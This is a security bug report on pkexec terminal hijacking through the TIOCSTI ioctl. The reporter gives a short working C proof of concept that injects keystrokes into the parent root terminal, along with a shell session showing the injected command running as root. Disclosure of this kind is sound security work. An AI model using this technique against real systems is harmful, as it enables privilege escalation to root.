Bug 1299955

Summary: pkexec tty hijacking via TIOCSTI ioctl
Product: [Other] Security Response Reporter: Federico Manuel Bento <up201407890>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact:
Severity: high Docs Contact:
Priority: high    
Version: unspecifiedCC: carnil, davidlewis4
Target Milestone: ---Keywords: Security
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Hardware: All   
OS: Linux   
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Fixed In Version: Doc Type: Bug Fix
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Last Closed: 2021-10-19 09:04:31 UTC Type: Bug
Regression: --- Mount Type: ---
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oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
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Bug Depends On:    
Bug Blocks: 1300746    

Description Federico Manuel Bento 2016-01-19 15:37:52 UTC 
When executing a program via "pkexec --user nonpriv program" the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid() and in "sudo" by using the "use_pty" flag.

$ cat test.c
#include <sys/ioctl.h>

int main()
{
 char *cmd = "id\n";
 while(*cmd)
  ioctl(0, TIOCSTI, cmd++);
}

$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# pkexec --user saken ./test ----> last command i type in
id
# id ----> did not type this
uid=0(root) gid=0(root) groups=0(root)
Comment 1 David Lewis 2016-02-26 16:36:10 UTC 
You have to possess CAP_SYS_ADMIN to successfully invoke the TIOCSTI ioctl.  That implies to me that pkexec is allowing test to execute with that (and possibly other) capabilities.  If that's the case, you're merely running as root by another name.
Comment 2 David Lewis 2016-02-26 19:16:52 UTC 
Or you can pass that tty ownership check that's been in there seemingly forever... sorry for the noise.